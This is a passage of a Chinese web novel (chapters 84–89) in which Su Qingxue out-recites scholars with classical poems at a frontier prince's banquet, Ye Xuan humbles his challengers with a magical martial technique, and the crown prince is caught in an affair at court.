一首诗,吟诵完毕。
整个演武场,落针可闻。
武将那边,不知何时也停止了切磋,一个个手持兵刃的壮汉,都愣愣地望着这边,脸上满是震撼。
他们或许不懂格律,但他们听得懂那份惨烈,那份决绝!
“报君黄金台上意,提携玉龙为君死……”
一位满脸虬髯的将军,喃喃地重复着最后一句,虎目之中,竟泛起点点泪光。
这是何等的忠烈!何等的豪情!
而文人这边,则像是被集体施了定身法。
张文远脸色惨白如纸,身体摇摇欲坠。
他的那首“不教胡马度阴山”,与这首诗相比,简直就是三岁小儿的涂鸦之作。
根本,不在一个层次。
苏轻雪的目光,又转向了那位写情诗的钱公子。
“你写风月,我便也写风月。”
钱公子的脸瞬间涨成了猪肝色,他几乎想找个地缝钻进去。
只听苏轻雪的声音再次响起,这一次,不似方才的金戈铁马,而是换上了一种婉转清幽的曲调。
她吟的,是一阕词。
“寻寻觅觅,冷冷清清,凄凄惨惨戚戚。”
“乍暖还寒时候,最难将息。”
“三杯两盏淡酒,怎敌他、晚来风急?”
“雁过也,正伤心,却是旧时相识。”
词一出,场中所有人都感觉心头一紧,一股莫名的愁绪涌上心头。
“满地黄花堆积。憔悴损,如今有谁堪摘?”
“守着窗儿,独自怎生得黑?”
“梧桐更兼细雨,到黄昏、点点滴滴。”
“这次第,怎一个愁字了得!”
一阕词罢。
演武场上,愁云惨淡。
仿佛那晚风都带上了凄意,那灯火都显得寂寥。
不少多愁善感的文人,竟已是泪流满面。
他们看向苏轻雪的目光,彻底变了。
那不再是愤怒与嫉妒,而是……仰望。
“姑娘……”
大儒**之,张文远的爷爷,此刻再也坐不住了。他颤颤巍巍地站起身,推开人群,走到苏轻雪面前,深深一揖。
“老朽,为我那不成器的孙儿,向姑娘赔罪!”
“姑娘此等才华,老朽……生平未见!敢问姑娘,师从何人?究竟是何身份?”
这个问题,问出了所有人的心声。
是啊!
如此惊才绝艳的女子,怎么可能是一个藉藉无名的侍女?
全场的目光,再次聚焦于她。
苏轻雪的视线,越过众人,落在了那个自始至终都在看戏的男人身上。
叶玄。
这个家伙,从头到尾,就那么悠闲地喝着茶,看着自己在这里舌战群儒,唇枪舌剑。
真是……清闲得很啊。
一个念头,如同雨后春笋般,在她心底冒了出来,带着几分狡黠,几分促狭。
她忽然觉得,今晚这出戏,还可以更好玩一点。
苏轻雪收回目光,面对着众人期待的眼神,脸上露出一丝恰到好处的黯然与苦涩。
她微微垂下眼帘,声音低了下去,带着一丝若有若无的委屈。
“我没有什么身份。”
“我……只是叶公子身边,一个端茶倒水的侍女罢了。”
轰!
人群炸开了锅。
如果说刚才他们是震惊,现在就是癫狂!
如此才情的女子,竟然真的只是一个侍女?
那她的主人……那个看
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起来病恹恹,只会喝茶的叶潜渊,究竟是何方神圣?!
无数道混杂着嫉妒、羡慕、猜疑的目光,齐刷刷地射向了叶玄。
叶玄端着茶杯的手,在半空中停顿了一下。
他看着苏轻雪那副泫然欲泣的模样,心里忽然有了一种不太好的预感。
果然,大儒**之痛心疾首地说道:“暴殄天物!简直是暴殄天物啊!”
他转向苏轻雪,语气诚恳至极。
“姑娘!以你的才情,别说是在这北凉,便是在京城,也当得起一声才女!岂能屈居人下,做一个侍女!”
“你听老夫一言,只要你点头,老夫立刻为你赎身!为你引荐大儒!不出三日,你的诗词便可传遍整个镇北城!到时候,你的声名,甚至可以和那位冠绝京华的第一才女苏轻雪,相提并论!”
**之说得情真意切。
在他看来,这是对一个才女最大的尊重和最好的安排。
周围的才子们也纷纷附和。
“是啊姑娘!张大家说的对!”
“你跟着他,太委屈你了!”
“只要你愿意,我王家也愿奉你为上宾!”
他们看着叶玄的眼神,已经从嫉妒,变成了鄙夷和愤怒。
在他们看来,叶玄就是那个用卑劣手段,将一颗稀世明珠藏于泥沙之中的恶人。
听到“苏轻雪”三个字,苏轻雪的嘴角,勾起一抹极淡、极快的笑意,快得无人察觉。
她抬起头,用那双水汽氤氲的眸子,怯生生地……看了一眼叶玄。
那一眼,包含了千言万语。
有委屈,有不甘,有恐惧,还有一丝哀求。
然后,她转回头,对着**之等人,轻轻地摇了摇头,声音里带着哭腔。
“多谢张大家厚爱,只是……只是小女子……身不由己。”
“什么身不由己?”**之追问。
苏轻雪咬着嘴唇,眼眶泛红,一副受了天大委屈却又不敢说的模样。
她又飞快地瞥了一眼叶玄,随即低下头,声音细若蚊蝇。
“我……我有把柄,握在……握在叶公子手上……”
“他……他不会放我走的……”
话音落下。
全场,一片死寂。
随即,是冲天的愤怒!
把柄?
一个男子,用把柄控制着这样一位风华绝代的才女,逼她为奴为婢?
这……这是人能干出来的事吗?!
这不就是话本里才有的,逼良为娼的恶霸行径吗?!
“禽兽!”
“无耻之尤!”
“叶潜渊!我等读圣贤书,最重风骨!没想到你身为神医,竟做出如此龌龊之事!”
所有的矛头,瞬间调转。
一道道愤怒的、鄙夷的、充满正义感的目光,化作利剑,狠狠地刺向叶玄。
而此刻的叶玄,端着茶杯,彻底愣住了。
他看着苏轻雪那副“我好惨,我好可怜,快来救救我”的精湛演技,脑子里一片空白。
这女人……在干什么?
有把柄在我手上?
我逼她为奴?
我什么时候干过这种事了?!
他看着苏轻雪微微低垂的头,那轻轻颤抖的肩膀,还有那从眼角悄然滑落的、晶莹的泪珠。
演得……真像啊。
第85章 姑娘,这戏可不好收场
那一句句带着哭腔的指控,如同烧红的烙铁,狠狠烫在叶玄的名字上。
周遭的空气像是被抽干了,死寂之后,是火山喷发般的暴怒。
“禽兽!”
“我从未见过如此厚颜无耻之人!”
“身为医者,本应悬壶济世,你却用下作手段,逼迫一位奇女子为奴为婢!”
“简直是我辈读书人之耻!”
**之老先生气得浑身发抖,指着叶玄,嘴唇哆嗦着,却一个字也说不出来,那张老脸涨成了深紫色。
唾沫星子几乎要将叶玄那一桌淹没。
柳如烟的心提到了嗓子眼,她几次想开口,却都被镇北王风啸天一个平静的眼神制止了。
风啸天依旧在喝酒,只是喝酒的速度慢了许多,目光在叶玄和苏轻雪之间来回移动,像是在看一出比演武场上的搏杀还要精彩的戏。
而被千夫所指的叶玄,终于有了动作。
他没有起身,没有辩解,甚至没有看那些义愤填膺的才子们一眼。
他只是侧过头,看着身边那个肩膀微微耸动,低着头,将“委屈无助”演绎到极致的女人。
苏轻雪。
他忽然笑了。
在漫**骂声中,他笑得格外清晰。
下一刻,在所有人惊骇的注视下,叶玄伸出手臂,动作不见半分迟疑,一把揽过苏轻雪的腰肢,稍一用力,便将她整个人从座位上提了起来,安置在了自己的腿上。
怀中温香软玉。
苏轻雪整个人都僵住了。
她脑子里嗡的一声,一片空白。
剧本不是这么写的!
她预想过叶玄的各种反应,或是冷漠以对,或是出言辩驳,甚至是被迫应下,但她万万没有想到,叶玄会用这种石破天惊的方式来“配合”她。
她能清晰地感觉到,男人坚实的手臂箍在她的腰上,带着不容抗拒的力道。
隔着几层衣料,她甚至能感觉到他手掌的温度,滚烫得让她心慌意乱。
“你……”
她刚想开口,却对上了叶玄看过来的那双眼睛。
那双眼睛里没有愤怒,没有慌乱,只有一片深不见底的笑意,以及一丝毫不掩饰的调侃。
他用只有两个人能听到的声音,在她耳边轻轻说了一句。
“苏小姐,戏是你开的场,想让我怎么演,划个道来?”
苏轻雪的脸颊,瞬间烧了起来。
这一幕,落在外人眼中,则完全是另一番景象。
那是无耻的宣示!
是赤裸裸的占有!
是当着所有人的面,对那位才女最残忍的羞辱!
“放开她!”
张文远双目赤红,几乎要扑上来,却被身边的同伴死死拉住。
“叶潜渊!你这个畜生!你这是在挑衅我们镇北城所有读书人的底线!”
“王爷!王妃!你们就这么看着此等恶徒,在您的宴会上为所欲为吗?!”
有人开始向主位上的镇北王夫妇求助。
叶玄却像是完全没有听见。
他一手稳稳地搂着怀中身体僵硬的苏轻雪,另一只手竟还有闲情逸致地伸向桌面,捏起了一块精致的桂花糕。
他没有自己吃。
而是将那块桂花糕,慢悠悠地送到了苏轻雪的唇边。
他的动作很轻,带着一种漫不经心的慵懒。
“乖,张嘴。”
他的声音不大,却像一根针,精准地刺破了现场所有人的耳膜。
“你不是说有把柄在我手上吗?”
“不听话的侍女,可是要受罚的。”
这两句话,他依旧是用气声说的,只有苏轻雪能听清。
可他脸上的表情,那副理所当然的霸道,那副命令的姿态,却被所有人看得清清楚楚。
苏轻雪的嘴唇抿得死死的。
她感觉自己的脸颊烫得能煎熟鸡蛋。
她从来没有像现在这样,进退两难。
张嘴吃了,就坐实了自己被他随意摆布的“奴婢”身份,坐实了自己刚刚那番表演。
不张嘴,就是在当众忤逆他,让她之前所有的铺垫都变成一个笑话。
这个混蛋!
他是在逼她!
她能感觉到,搂在腰间的手臂,不着痕迹地紧了紧,像是一种无声的警告。
苏轻雪的睫毛剧烈地颤抖着。
自己玩脱了。
她本想借众人之手,给这个总是云淡风轻的家伙找点麻烦,看看他狼狈的样子。
结果,麻烦是找来了,可他非但不狼狈,反而借着这个麻烦,将了她一军。
此刻,她就像一个被恶霸逼到墙角的小媳妇。
而这个恶霸,还是她自己亲手塑造出来的。
她这副羞愤交加、敢怒不敢言的模样,在那些正义感爆棚的才子们眼中,成了最清晰的信号。
看啊!<
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br>她被欺负得快哭了!
她被那个恶徒逼得不敢反抗!
一个二十出头,身材颇为健硕的年轻人再也按捺不住。
他是镇北城武将赵家的次子,名叫赵猛,读过几年书,也练过几年武,自诩文武双全。
“够了!”
赵猛排开众人,大步流星地走到叶玄桌前,怒指着他。
“叶潜渊!欺负一个弱女子算什么本事!”
“我不管你是什么神医,也不管你有什么背景!今天,在这镇北王府,我就要为这位姑娘讨个公道!”
他上下打量着叶玄。
脸色苍白,身形清瘦,坐着的时候还微微弓着背,一副风吹就倒的病秧子模样。
这种人,他一个能打十个。
赵猛心中充满了英雄救美的豪情。
他往前一站,抱起双臂,下巴高高扬起。
“我,赵猛,在此向你发起挑战!”
“就比武!”
“你若是个男人,就放开那位姑娘,站起来与我打一场!”
“你放心,我不会要你的命,我只打断你一只手,让你知道,有些人和东西,不是你能碰的!”
这声挑战,掷地有声。
瞬间点燃了全场的气氛。
“好!赵兄说得好!”
“打他!让他知道我们北凉男儿的血性!”
“对付这种无耻之徒,就该用拳头!”
文人们不擅长动手,但他们不介意看到别人动手。
尤其是看到这个“恶霸”被英雄教训。
那将是何等大快人心的场面!
一时间,群情激奋,所有人都在为赵猛呐喊助威。
苏轻雪在叶玄怀里,听到这声挑战,心里竟莫名地松了一口气。
打起来好。
打起来,就能打破眼下这个让她快要窒息的僵局了。
她悄悄抬眼,飞快地瞥了一眼叶玄。
她想从他脸上看到一丝慌乱,或者凝重。
然而,没有。
叶玄甚至没有去看那个叫嚣的赵猛。
他的注意力,仿佛全在自己身上。
他收回那块桂花糕,自己咬了一口,慢条斯理地咀嚼着,然后才慢悠悠地开口。
他的声音不大,却盖过了所有的嘈杂。
“你?”
叶玄抬起眼皮,终于正眼看了赵猛一下,随即,嘴角勾起一抹极淡的弧度。
“你还没资格。”
第86章 一指囚天地!
“你还没资格。”
五个字,轻飘飘的,像是一片羽毛,落在了烧红的烙铁上。
滋啦一声。
赵猛的理智,彻底被烧成了灰烬。
“找死!”
一声怒吼,平地炸开。
他魁梧的身躯如同一头发怒的蛮牛,脚下青石地板应声开裂,整个人裹挟着一股凶悍的劲风,一拳轰向叶玄的面门。
拳未至,拳风已然刮得人脸颊生疼。
这是货真价实的七品武夫,含怒一击!
周围的才子们吓得连连后退,生怕被波及,脸上却都挂着幸灾乐祸的快意。
他们仿佛已经看到了那个病秧子被一拳打得脑浆迸裂的血腥场面。
然而,叶玄没动。
他就那么安然地坐着,甚至连搂着苏轻雪的手臂都没有松开半分。
就在那刚猛无俦的拳头即将触碰到他鼻尖的刹那。
他动了。
身形微微一晃,如同风中摇曳的柳絮,带着怀中的苏轻雪,以一种匪夷所思的角度,险之又险地避开了这雷霆一拳。
赵猛一拳落空,巨大的力道让他身形一个趔趄。
他还没来得及稳住身体,只觉得眼前一花,那个病弱的身影已经抱着人,飘然远去。
叶玄的脚尖在满是狼藉的桌案上轻轻一点。
整个人如同一只没有重量的纸鸢,抱着一个成年女子,却轻盈地飞跃了数十丈的距离。
他看了一眼主位上气定神闲的镇北王。
风啸天对他举了举酒杯,嘴角噙着一抹看热闹不嫌事大的笑意。
叶玄心领神会。
下一刻,他的身形在空中划过一道优美的弧线,径直落向了宴会厅外,那片更为广阔的演武场中央。
“轰!”
整个宴会厅炸开了锅。
“跟上去!”
“快去看那小子**!”
“赵猛兄威武!定要将此等狂徒**万段!”
才子们的热血被彻底点燃,一个个争先恐后地涌向演武场,那架势,比刚才争抢着作诗还要积极。
人群如潮水般退去。
柳如烟看着这乱糟糟的场面,心有余悸地拉了拉丈夫的衣袖。
“王爷,这……闹得也太大了,真的无妨吗?”
她的声音里带着一丝不易察含的担忧。
“赵家那小子可是七品巅峰,下手没个轻重,万一……”
风啸天慢悠悠地饮尽杯中酒,将酒杯重重放下。
“无妨。”
他转过头,看着自己这位心善的王妃,笑了起来。
“好戏才刚开场。”
“你以为,那小子就真的这么容易被人拿捏?”
风啸天摇了摇头,目光投向场外,变得深邃起来。
“你要是这么想的话,那还是想的太简单了点!”
“至于赵家那小子……”
他顿了顿,语气里带上了一丝怜悯。
“应该不会有大问题的,最多受点伤而已。”
柳如烟愣住了。
她还想再问,风啸天却已经站起身,整理了一下衣袍。
“走吧,王妃,咱们也去凑个热闹。”
……
演武场上,月光如水。
叶玄稳稳落地,怀中的苏轻雪依旧身体僵硬,脸颊烫得惊人。
在将她放下的前一刻,叶玄搂在她腰间的手,不轻不重地捏了一下。
苏轻雪浑身一颤,如同被电击了一般。
一个带着几分戏谑,又透着几分危险的声音,在她耳边响起。
“苏小姐,这出戏唱得不错。”
“等回去了,我再跟你好好算算这笔账。”
话音落下,他松开了手。
苏轻雪如蒙大赦,连忙后退几步,与他拉开距离,一颗心却跳得如同擂鼓。
她不敢去看叶玄的脸,只能低着头,用眼角的余光,看着那道清瘦却笔直的背影。
此时,赵猛也已追至场上,与叶玄遥遥对峙。
他喘着粗气,双目赤红,刚刚那一拳落空,让他感觉自己受到了莫大的羞辱。
“叶潜渊!”
赵猛怒吼一声,体内真气再度运转,衣衫无风自动。
“没想到你这病秧子还真有两下子,倒是小瞧你了!”
“我再给你最后一次机会!”
他伸出手指着叶玄,摆出一副居高临下的姿态。
“我,赵猛,镇北城赵家次子,武道七品巅峰!”
“你现在,立刻,跪下给这位姑娘磕头道歉,然后自断一臂,发誓永不踏入镇北城半步!”
“如此,我或许可以饶你一条狗命!”
他的声音洪亮,传遍了整个演武场,引来看热闹的众人一阵叫好。
“赵公子威武!”
“就该这么对付这种**!”
“让他跪下!跪下!”
听着周围的呐喊助威,赵猛的下巴扬得更高了。
他已经准备好,只要对方说一个“不”字,就立刻冲上去,将他打得筋断骨折。
然而,回应他的,是
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一声轻笑。
叶玄终于转过身,正眼看向他。
那张苍白的脸上,没有丝毫惧色,只有一种看跳梁小丑般的淡漠。
“七品巅峰?”
他重复了一遍,像是听到了什么有趣的事情。
“哦。”
“巧了。”
叶玄的嘴角,勾起一抹极淡的弧度。
“我也是。”
话音未落,赵猛已然再度暴起发难,他不能再容忍这个病秧子用这种语气和自己说话!
可他刚冲出两步,就猛然停住了。
不,不是他想停。
是停下了。
一股难以言喻的威压,毫无征兆地从天而降!
仿佛整个天,都塌了下来。
演武场上,所有嘈杂的声音,在这一瞬间,戛然而止。
众人惊骇地抬起头。
只见那清冷的月光下,叶玄缓缓抬起了自己的右手。
他伸出了一根手指。
食指。
那根手指修长、苍白,看上去没有半点力量。
可随着他这一指点出,整个演武场的上空,风云变色。
一个由金色光芒汇聚而成的巨大手指虚影,凭空凝聚,遮蔽了月光,将整个演武场笼罩在一片巨大的阴影之下。
那根巨指之上,布满了玄奥古朴的纹路,散发着一股囚禁天地、**万物的恐怖气息。
大荒囚天指。
一指,囚天地!
“这……这是什么……”
赵猛仰着头,瞳孔缩成了针尖大小,脸上的嚣张与愤怒早已荡然无存,只剩下无尽的恐惧。
他想动,想逃,想反抗。
可在那根巨指的锁定下,他的身体像是被灌满了铅汞,连动一动小指头都成了奢望。
他引以为傲的七品巅峰灵气,在对方的威压下,如同溪流遇见了**,被压制得丝毫无法动弹。
叶玄的手指,轻轻向下一压。
天空中的金色巨指,也随之缓缓下沉。
没有惊天动地的巨响,没有毁天灭地的**。
只有一种令人窒息的,绝对的压制。
“咔嚓……咔嚓……”
一阵令人牙酸的骨骼碎裂声响起。
在全场死寂的注视下,那个刚才还不可一世的赵猛,双腿一软,“噗通”一声,直挺挺地跪在了地上。
坚硬的青石板,以他的膝盖为中心,蛛网般碎裂开来。
他跪得笔直,跪得彻底。
像一个最虔诚的信徒,在朝拜自己的神明。
第87章 全场死寂,谁敢抬头?
天空中的金色巨指缓缓消散,仿佛从未出现过。
月光重新洒落,照亮了演武场中央那个笔直跪地的身影。
赵猛。
镇北城赵家次子,七品巅峰武夫。
此刻,他像一尊忏悔的石像,跪在那里,一动不动,唯有身体因为极致的恐惧而不住地颤抖。
整个演武场,死寂无声。
数百名才子佳人,还有那些将门子弟,全都像是被人扼住了喉咙,发不出半点声音。
风吹过,卷起地上的尘土和碎裂的酒杯瓷片,发出细微的沙沙声,在这片死寂中,竟显得无比刺耳。
先前那些叫嚣着要让叶玄跪地求饶的才子们,此刻一个个面色惨白如纸,双腿发软,有些人甚至控制不住地向后挪动,想要离那个白衣身影远一些,再远一些。
他们看向叶玄的目光,已经彻底变了。
那不再是鄙夷,不再是轻蔑,甚至不是愤怒。
是恐惧。
发自灵魂深处的,最原始的恐惧。
那轻描淡写的一指,不仅压垮了赵猛的膝盖,也压垮了在场所有人的心理防线。
病秧子?
无耻狂徒?
谁敢再这么想?谁又敢再这么说?
主位前,镇北王风啸天将杯中最后一口酒饮尽,唇角勾起一抹满意的弧度。
他身旁的王妃柳如烟,一双美目中写满了震撼,她捂着嘴,好半晌才找回自己的声音。
“王爷……这……殿……叶公子,他……”
“我说了,好戏才刚开场。”风啸天放下酒杯,声音不大,却透着一股尽在掌握的从容。
他看向场中那道清瘦的背影,就像在欣赏一件完美的艺术品。
演武场上,叶玄收回手指,甚至连看都未再看跪在地上的赵猛一眼。
他的目光,缓缓扫过全场。
凡是被他目光触及之人,无不心头一颤,下意识地低下头去,不敢与其对视。
“还有谁?”
叶玄开口了,声音依旧平淡,听不出喜怒。
可这三个字,却像三座大山,重重压在每个人的心头。
还有谁?
谁还敢有?
人群中,一片压抑的沉默。
就在这时,一个不和谐的声音响起。
“装神弄鬼!”
一个身材同样高大,穿着锦衣的青年越众而出,他的脸上带着几分不信和嫉妒。
“李兄,不可!”旁边有人想拉住他。
那李姓青年一把甩开同伴的手,指着叶玄厉声道:“大家不要被他骗了!此人定是用了什么威力巨大的符篆或是法宝!他一个病秧子,怎么可能有如此实力!”
“赵兄只是一时大意,才着了他的道!”
“我不信!我不信一个拿捏女人把柄的废物,能是真正的强者!”
这番话,说出了一些人心中的侥幸。
是啊,或许只是某种一次性的底牌呢?
毕竟,叶玄那病弱的形象实在太深入人心了。
不少人的眼中,重新燃起了一丝希望的火苗。
李姓青年见状,胆气更壮,他往前踏出一步,身上同样爆发出七品武夫的气息。
“叶潜渊!有本事,你我堂堂正正打一场!若你还能赢我,我李某人当场自裁!”
他自信满满,认为自己看穿了真相。
叶玄看着他,脸上甚至露出了一丝笑意。
那笑容很淡,却让李姓青年莫名地感到一阵心悸。
“好啊。”
叶玄轻轻点头。
下一刻,他动了。
不,或许用动来形容并不准确。
他只是抬了抬眼皮。
一股无形的压力,比刚才**赵猛时更加纯粹、更加恐怖的气机,瞬间锁定了那个李姓青年。
李姓青年脸上的自信和嚣张瞬间凝固。
他感觉自己像是被一只无形的大手攥住了心脏,连呼吸都变得困难。
他想运转体内的灵气,却发现那些平日里奔腾不息的能量,此刻温顺得像是一群受惊的绵羊,瑟缩在经脉的角落,根本不敢动弹分毫。
“你……”
他只来得及吐出一个字。
“跪下。”
叶玄的声音再次响起,依旧平淡。
“噗通!”
李姓青年双膝一软,步了赵猛的后尘,重重地跪在了地上。
没有惊天动地的异象,没有遮天蔽日的巨指。
只有两个字。
就让一名七品武夫,毫无反抗之力地跪下了。
如果说第一次是震撼,那这一次,就是彻彻底底的绝望。
所有侥幸的念头,在这一刻,被碾得粉碎。
全场,再次陷入死一般的寂静。
这一次,再没有人敢发出任何声音,甚至连呼吸都刻意压制到了最低。
叶玄站在场中,环视四周。
他等了片刻。
没有人再站出来。
所有人都低着头,像是一群等待审判的囚徒。
叶玄的嘴角,勾起一抹微不可查的弧度,随即转身,朝着苏轻雪的方向走去。
人群像是摩西分海一般,自动为他让开了一条道路。
每一个人的脸上,都写满了敬畏。
苏轻雪站在原地,一颗心怦怦直跳,复杂的情绪在胸中翻涌。
她看着那个一步步向自己走来的身影,那张苍白的脸,那双深邃的眼,只觉得无比陌生。
这就是他真正的样子吗?
没想到她的小小恶作剧,竟引出了一头真正的洪荒猛兽。
叶玄来到她面前,停下脚步。
在数百道羡慕、嫉妒、复杂的目光注视下,他伸出手,一把抓住了苏轻雪微凉的手腕。
“我们走吧。”
他的声音不大,却清晰地传到了每个人的耳中。
苏轻雪身体一僵,下意识地想要
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挣脱,却发现他的手如同铁钳一般,根本无法撼动。
她被叶玄拉着,身不由己地跟在他身后,穿过人群,走出了演武场。
身后,是死寂的人群,和跪在地上的两道身影。
众人看着他们相携离去的背影,男的清瘦,女的绝美,在月光下,竟有一种说不出的和谐。
羡慕,嫉妒,还有一丝说不清道不明的意味,在众人心中交织。
凭什么?
凭什么那个人不会是自己?
……
夜风清冷,吹拂着两人的衣袂。
叶玄一言不发,只是拉着苏轻雪,快步走在王府的回廊里。
苏轻雪的心,随着脚步的临近,一点点下沉。
完了。
这下彻底玩脱了。
她偷偷瞄了一眼走在前面的叶玄,只能看到他紧绷的侧脸和清冷的下颌线。
今晚在宴会上,她确实是存了心思要小小地报复一下他。
谁让他总是那么气定神闲,仿佛一切尽在掌握,还时不时地用言语调侃自己。
她想看看他手足无措、被众人**的窘迫模样。
可她万万没想到,事情会发展到这个地步。
他非但没有窘迫,反而以一种她完全无法想象的姿态,碾压了全场。
现在,该轮到自己窘迫了。
他会怎么惩罚自己?
苏轻雪的脑中飞速运转,开始盘算着各种脱身之计。
是继续装可怜,博取同情?
不行,这招今晚用过了,他肯定不会再上当。
还是据理力争,说自己是为了配合他的计划,敲山震虎?
似乎也不太行,自己的那点小心思,恐怕根本瞒不过他的眼睛。
要不……干脆服个软,认个错?
可一想到要向这个家伙低头,苏轻雪心里又有些不甘。
就在她胡思乱想之际,前面传来一个幽幽的声音。
“在想什么?”
叶玄的脚步没停,头也没回。
“没……没想什么。”苏轻雪心头一跳,连忙否认。
“是吗?”
叶玄轻笑一声,那笑声在寂静的夜里,听起来格外清晰,也格外危险。
“我劝你,别动那些没用的歪脑筋了。”
“比如,想着怎么解释今晚的事,或者怎么从我手里溜掉。”
他的话,像是一把尖刀,精准地剖开了苏轻雪所有的伪装。
苏轻雪的脚步一顿,心沉到了谷底。
只听叶玄继续用那不紧不慢的语调说道:
“今晚这出戏,你唱得很好,我很喜欢。”
他刻意加重了“喜欢”两个字。
“所以,等会儿回去,乖乖的。”
“说不定,还能少受点苦。”
话音落下,两人已经走到了苏轻雪房间的门口。
叶玄停下脚步,转过身,一双深不见底的眸子,在月光下静静地看着她。
第88章 胆大包天的太子
“砰。”
一声轻响,房门被叶玄反手带上,门栓落下的声音,在寂静的房间内显得格外清晰。
那声音仿佛一道无形的开关,将门外的喧嚣与敬畏彻底隔绝。
也隔绝了苏轻雪最后一丝侥幸。
她站在房间中央,身形有些僵硬,那只被叶玄握住的手腕,此刻还残留着他掌心的温度和不容抗拒的力道。
“叶公子……”
苏轻雪定了定神,试图用一种平静的语气开口,维持着自己最后的体面。
“今晚之事,是我孟浪了,我……”
她的话还没说完,就被叶玄打断了。
“过来。”
叶玄走到桌边,自顾自地坐下,指了指桌上的文房四宝。
他的声音很轻,却带着一种命令的口吻。
苏轻雪咬了咬下唇,没有动。
让她就这么低头认输,她不甘心。
叶玄也不催促,他只是拿起茶壶,给自己倒了一杯已经凉透的茶,慢悠悠地品了一口。
“苏大家,京城第一才女。”
他放下茶杯,目光落在那些洁白的宣纸上。
“想必书法也是一绝吧?”
“今晚这出戏,你开头,我收尾,配合得天衣无缝,我很尽兴。”
“为了庆祝我们合作愉快,不如,你来写,我来说,我们把今晚这精彩的故事,记录下来,如何?”
苏轻-雪的脸色瞬间白了几分。
让她亲笔写下自己如何设计陷害他,又如何被他反过来利用,最后沦为他炫耀武力的背景板?
这比直接打她一巴掌,还要让她难堪百倍。
这是诛心。
“你……”
苏轻雪气得胸口起伏,一双美目里满是**和怒火。
“我什么?”
叶玄抬眼看她,嘴角噙着一抹淡淡的笑意。
“还是说,苏大家想换一种惩罚方式?”
“比如,帮我更衣,或者……捶腿?”
他的目光在苏轻雪身上上下打量,那眼神不带任何情欲,却像是在审视一件可以随意摆弄的物品。
苏轻雪的身体微不可察地颤抖了一下。
她知道,这个男人说得出,就做得到。
在绝对的实力和毫无底线的行事风格面前,她所有的骄傲和才智,都显得那么苍白无力。
僵持了许久。
最终,苏轻雪还是迈开了脚步,一步一步,走到了书桌前。
每一步,都像是踩在自己的自尊心上。
“磨墨。”
叶玄的声音再次响起。
苏轻雪垂着眼帘,拿起墨锭,在砚台中缓缓地研磨起来。
一圈,又一圈。
冰冷的墨锭仿佛吸走了她指尖所有的温度。
房间里只剩下单调的沙沙声,和两人一站一坐的压抑对峙。
“写吧。”
叶玄的声音像一个挥之不去的梦魇。
“第一句,就写‘庚子年秋,月圆之夜,镇北王府宴,吾,苏轻雪,心生顽劣,欲以薄名陷叶郎……’”
“噗!”
苏轻雪刚提起的笔,差点没握住,墨汁滴落在宣纸上,晕开一团难看的污迹。
“叶郎?”
她猛地抬头,脸上又羞又怒。
“怎么?”叶玄靠在椅背上,好整以暇地看着她,“苏大家觉得,这个称呼不妥?”
“你我如今的关系,在外人看来,不就是如此吗?”
“还是说,你想写叶公子?太生分了。”
“或者,叶玄?直呼其名,太大不敬。”
“我看,叶郎就很好。”
苏轻雪贝齿紧咬,她从面前这个男人的脸上,只看到了四个字。
恶劣至极。
她深吸一口气,换了一张宣纸,终究还是在叶玄的注视下,**地写下了那两个让她脸颊发烫的字。
时间,就在这诡异的氛围中一点点流逝。
叶玄口述,苏轻雪笔录。
从宴会开始,到她如何引经据典,舌战群儒。
再到她如何话锋一转,声泪俱下地控诉叶玄的“**”。
叶玄甚至让她详细描写了自己当时的表情,语气,每一个细微的动作。
这无异于让她一遍又一遍地,亲手撕开自己的伪装,将那点小心思赤裸裸地摊开在纸上。
烛火燃尽,化作一滩蜡泪。
天边,已经泛起了鱼肚白。
苏轻雪斜倚在软榻边,衣衫微乱,发髻也散了几分,几缕青丝贴在脸颊上,衬得那张绝美的脸庞愈发苍白。
可那苍白之中,又透着一抹未曾褪尽的潮红,不知是累的,还是气的。
地上,散落着十几张写满了字的宣纸。
每一张上面的字迹,都娟秀工整,却又在笔锋的末梢,透着一股压抑不住的愤懑和**。
叶玄站起身,伸了个懒腰,拿起其中一张纸,放在晨光下欣赏。
“不错,字写得是真好,风骨犹存。”
他笑着点评,像是在欣赏一副绝世名作。
“我很满意,苏大家今晚的表现,当真别开生面。希望下次,还有这样的机会。”
苏轻雪将脸转向一边,不去看他那张可恶的笑脸,从牙缝里挤出一句话。
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“哼,黔驴技穷。”
“也就这点折腾人的本事了。”
“是吗?”
叶玄也不恼,只是笑了笑,将手里的宣纸小心翼翼地折好,放入怀中。
“本事不在多,管用就行。”
说完,他整理了一下自己的衣衫,朝着房门走去。
“吱呀——”
房门被拉开。
清晨微凉的空气和明亮的光线一同涌了进来,驱散了房间里一夜的压抑。
门外,一名王府的下人正躬身静候,神态恭敬到了极点。
见到叶玄出来,他连忙上前一步。
“叶公子,王爷有请,说是在议事大堂,有要事相商。”
“知道了。”
叶玄淡淡地点了点头,迈步而出,再没有回头看一眼身后的房间。
……
与此同时。
距离镇北城千里之外的大乾京城。
云华宫。
本该是庄严肃穆的贵妃寝宫,此刻却纱幔低垂,空气中弥漫着一股奢靡而慵懒的气息。
一张巨大的沉香木床上,两具身体交织在一起。
良久,云收雨歇。
太子叶天懒洋洋地躺着,脸上带着一丝满足过后的倦怠。
他身旁的云贵妃柳知意,肌肤白皙如玉,此刻更是透着一层诱人的粉色。
她伸出纤纤玉指,在叶天结实的胸膛上画着圈。
“太子殿下,您都好些时日没来看臣妾了。”
她的声音娇媚入骨,带着一丝若有若无的幽怨。
“还不是父皇最近盯得紧。”
叶天不耐烦地挥了挥手。
“朝堂上,苏长青那个老匹夫,联合一群御史,天天盯着孤的东宫,烦不胜烦。”
“说起来,苏长青的那个女儿,苏轻雪,到现在还没抓到,这丫头还真的能跑啊!”
听到这个名字,柳知意的眼中闪过一丝嫉妒和怨毒。
“一个狐媚子罢了,殿下何必总惦记着她。”
她话锋一转,看似不经意地问道。
“殿下,那叶玄……北凉那边,可有消息传来?”
“按理说,他一个病秧子,又被打了五十大板,就算没死在路上,到了北凉那种苦寒之地,也该病**吧?”
“一个废物罢了。”
叶天面色一僵,随即毫不在意的说道。
“**便**,没死也翻不起什么浪花。爱妃何必总将他挂在心上?提他,都脏了你的嘴。”
就在这时,寝宫外传来一阵急促的脚步声,以及一声尖锐的叫声响起。
“陛下驾到——”
第89章 龙床之下藏太子!
“陛下驾到——”
这一声尖锐的通传,如同一盆腊月里的冰水,从头到脚浇在了床榻上纠缠的两人身上。
方才还满是旖旎春色的空气,瞬间冻结。
太子叶天脑中嗡的一声,一片空白,所有情欲和满足感在顷刻间化为刺骨的寒意。
